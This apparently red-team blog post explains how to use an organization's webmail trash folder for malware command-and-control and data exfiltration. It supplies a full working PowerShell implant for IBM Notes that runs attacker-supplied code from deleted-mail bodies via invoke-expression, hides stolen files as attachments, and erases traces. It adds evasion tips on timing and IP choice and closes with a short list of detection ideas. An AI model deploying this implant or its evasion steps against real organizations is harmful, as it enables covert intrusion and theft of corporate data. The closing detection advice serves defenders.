Abusing corporate webmail for C&C and exfiltration

20 de April de 2017 Por

Let’s assume an organization that has basic security measures: workstations cannot make direct connections to the Internet, only being able to carry out web requests through a proxy server, which is also the only one that can make external DNS queries.

HTTP and DNS traffic generated by this proxy server are properly monitored, and the proxy “breaks” HTTPS, so techniques like the domain fronting can also be detected. Only a few whitelisted websites are accessible.

Internet access is blocked for most internal servers, and there are (almost) no services exposed: all corporate webpages, blogs, etc. are hosted on e.g. Google cloud, and only the webmaster has access (from an isolated workstation) to the control panels to update content, as well as to the corresponding corporate social network accounts.

In a scenario like the previous one, where typical channels of command and control and exfiltration such as web or DNS traffic don’t seem feasible, we can try and use another very low tech (and a bit lame really :-) channel: the corporate webmail.

For better or (in our example) worse, agile access to electronic mail remains a basic requirement to current businesses. In spite of all the security measures discussed, mail is likely to be accesibe from both internal workstations (usually via a heavy client, such as IBM Notes or Microsoft Outlook) and from “miscellaneous” external Internet-connected devices: corporate smartphones and tablets (using the corresponding app), web browsers from corporate laptops (making use of webmail platforms such as IBM iNotes or Microsoft OWA), etc. In many cases, this webmail service is exposed to the Internet without security mechanisms such as 2-factor authentication (2FA), and without VPN concentrators in front of them.

Many apps for mobile devices do not even use authentication mechanisms like OAuth or “application passwords”, but can be directly configured with username and password.

Thus, if we gather (for example through spear phishing or a leaked dump) valid credentials (user and password) that allow us to log in to the webmail from Internet, and we manage to contaminate a workstation with a simple malware, we have setup the channel: for C&C of our malware, we can leave, for example, specifically formatted messages in the trash folder of the webmail; the malware will recover these messages and execute our orders. For exfiltration, we can proceed in a similar way: the malware will leave stolen documents in the trash folder (with encryption, without encryption, using steganography … the more the better), and we can retrieve them from Internet via the webmail in the same way, erasing them without a trace once recovered from the trash folder.

Despite the simplicity of the technique, all C&C and exfiltration channel generated traffic is quite hard to distinguish from legitimate traffic. For example, if the workstation user ends his working day at 19:00, the implant can copy the stolen information to the trash folder at 18:30 (difficult to distinguish from regular access with a heavy client application from within the office), retrieving it via webmail (or via the corresponding API for mobile devices) at 20:30 (again, it’s not trivial to distinguish this from legitimate mail access from home or from the corporate mobile mail application).

Since we are not really sending the messages to external addresses, but rather email is “self-sent”, or locally injected to the mail system into the chosen folders, the technique is not detectable by analyzing inbound/outbound SMTP traffic (in a similar way to terrorist cells that communicate using dead drops within the drafts folder of shared email accounts).

“Bonus extra” to make detection harder: run the malware only when the mail client is opened on the workstation (or directly inject the malware itself into the mail client), connect to the webmail only from local IP addresses not in blacklists, preferably using the same mobile phone operator as the target organization, and with the same types of terminals, operating systems or web browsers usually used, etc.

A simple proof of concept

We will see now how to implement a simple proof of concept of the technique for a target that uses IBM Notes (aka Lotus Notes). For internal access, the Notes heavyweight client is used, and for Internet usage, IBM iNotes provides access via webmail and the IBM Verse mobile app.

Fortunately (and the same holds for other similar technologies such as Microsoft Exchange/OWA/Outlook), the vendor (IBM in this case) provides APIs to control programmatically the Notes client. Among others, the application exposes a COM component, Notes.NotesSession, which we can use from our language of choice. We will use PowerShell for the PoC.

The small implant that we will command stealthy via the organization’s webmail will therefore consist of a simple PowerShell script whose periodic execution in the infected workstation can be implemented with scheduled tasks, WMI, or other more sophisticated methods.

We will only use the COM component when the legitimate Notes client is running, because its usage launches the application and we don’t want to raise a red flag on the user:

$running = get-process nlnotes -erroraction silentlycontinue
if ($running -eq $null) { exit }

If it’s not running, we instantiate the COM component, opening the default databases and servers as configured in the Notes client:

$notes = New-Object -ComObject Notes.NotesSession

$db = $notes.getdatabase("", "")

if (!$db.isopen()) {
  $db.openmail()
}

The next step is to define an Exfiltrate() function, which we will use to store the stolen information, attaching it to messages that will be hidden in the user’s mail trash folder:

function Exfiltrate($path) {
  $doc = $db.createdocument()
  $richText = $doc.createrichtextitem("Attachment")
  $richText.embedobject(1454, "", $path, "Attachment")
  $doc.save($true, $false, $true);
  $doc.remove($true)
}

As we see, we create a new document in the instantiated database ($db.createdocument()), we attach the file specified in the first parameter, and we save the document ($doc.save()). Finally, we invoke the remove() method, so that the generated document will be moved to the trash folder. If we don’t make this last call, the document will not be visible in the inbox folder, but will be stored on an “unknown” folder instead, so that it will be only visible if we select the “all documents” tab: this would be another great place to hide the message. Finally, the implant executes the following code:

$trash = $db.getview("`$SoftDeletions")

$doc = $trash.getfirstdocument()
while ($doc -ne $null) {
  $subj = $doc.getitemvalue("Subject")
  if ($subj -eq "powershell") {
    $code = $doc.getitemvalue("Body")
    invoke-expression $code[0]
    $doc.removepermanently($true)
    break
  }

  $doc = $trash.getnextdocument($doc)
}

First, we open the $SoftDeletions view of the Notes mail database. This is how Notes calls the “trash” folder. Once the view is opened, we iterate, beginning with the first ($trash.getfirstdocument()), over all documents present in the trash, and if the “subject” field is the “powershell” string, we evaluate directly what is in the email body. Once we have “consumed” this PowerShell payload, we permanently delete the document from the trash ($doc.removepermanently()) and the execution finishes.

How would we operate this little PoC? Once a valid username and password of a mail account accessible via webmail is gathered and the previous implant is injected onto one of the workstations of the target, the attacker logs in to the webmail from Internet and autosends to the user’s mailbox a message with the “powershell” subject, and a body such as:

Then he deletes the message, so it moves to the user’s thrash folder:

The next time the implant is run on the target workstation, it will retrieve the messages from the trash folder, and it will stop at the one we just created, evaluating the PowerShell code included in the body. This will take a process listing, storing it in the c:\windows\temp\ps.txt file, which will then be exfiltrated through the webmail itsef, attached to a message.

Indeed, if the attacker later logs in to the webmail, simulating a legitimate user checking its mail from home, he can retrieve the exfiltrated information from the trash folder:

As we can see, there is a message (without “from” or “subject” field, although they could be easily specified if it’s considered that in this way the messages would pass more unnoticed) that has the process listing attached (ps.txt file):

As the last step, the attacker simply has to download this file and definitively remove from the trash folder the message generated by the implant.

The full PowerShell script is:

$running = get-process nlnotes -erroraction silentlycontinue
if ($running -eq $null) { exit }

$notes = New-Object -ComObject Notes.NotesSession
$db = $notes.getdatabase("", "")
if (!$db.isopen()) {
  $db.openmail()
}

function Exfiltrate($path) {
  $doc = $db.createdocument()
  $richText = $doc.createrichtextitem("Attachment")
  $richText.embedobject(1454, "", $path, "Attachment")
  $doc.save($true, $false, $true);
  $doc.remove($true)
}

$trash = $db.getview("`$SoftDeletions")
$doc = $trash.getfirstdocument()
while ($doc -ne $null) {
  $subj = $doc.getitemvalue("Subject")
  if ($subj -eq "powershell") {
    $code = $doc.getitemvalue("Body")
    invoke-expression $code[0]
    $doc.removepermanently($true)
    break
  }
  $doc = $trash.getnextdocument($doc)
}

If the target organization uses other technologies, such as those from Microsoft (Exchange/Outlook/OWA), there are message, mailbox, folder, etc. manipulation cmdlets which can be directly reused in the malware.

Some detection ideas

As we have seen, this is a simple technique that can come handy in some situations if the blue team does not monitor mailbox accesses. Some ways of trying to detect and/or mitigate these types of channels could be:

  • Implement 2FA for corporate webmail.
  • Monitor mailboxes in search of “weird” artifacts, such as PowerShell code ;-), potentially exfiltrated info, encrypted or obfuscated attachments, non standard folders or mailboxes (or those that have a “hidden” attribute set), etc. Detection of anomalous access to standard mailboxes, such as the trash folder: is it usual that messages get generated in particular ways, or that individual messages get deleted from them?
  • Webmail sessions from other countries, Tor or VPN exit nodes, low reputation IP addresses, etc.
  • Mobile app sessions from IP networks not belonging to the mobile operator in use in the organization.
  • More than one client connected with the same user credentials: for example, two simultaneous webmail sessions from different IP addresses.
  • Webmail access using web browsers not usually used by the user of that email account.
  • Monitoring of “autosends”: messages that a user sends aparently to itself.
  • Access to a mailbox from a workstation not belonging to the owner of that email account.
  • And another anomalous patterns…

Hope you have enjoyed this post!

Best regards!
Pablo

See also in: